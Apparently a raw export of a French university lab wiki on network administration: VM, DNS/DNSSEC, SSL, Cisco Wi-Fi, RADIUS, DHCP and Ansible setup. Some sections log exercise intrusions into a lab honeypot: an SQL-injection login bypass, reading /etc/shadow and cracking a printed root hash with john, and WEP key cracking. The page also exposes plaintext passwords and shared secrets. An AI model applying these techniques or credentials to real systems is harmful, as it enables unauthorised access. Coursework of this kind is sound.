 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée 4 rôles différents qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;&amp;lt;code&amp;gt;{{ packages }}&amp;lt;/code&amp;gt;&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;dock&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54981</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54981"/>
				<updated>2020-12-18T18:52:25Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
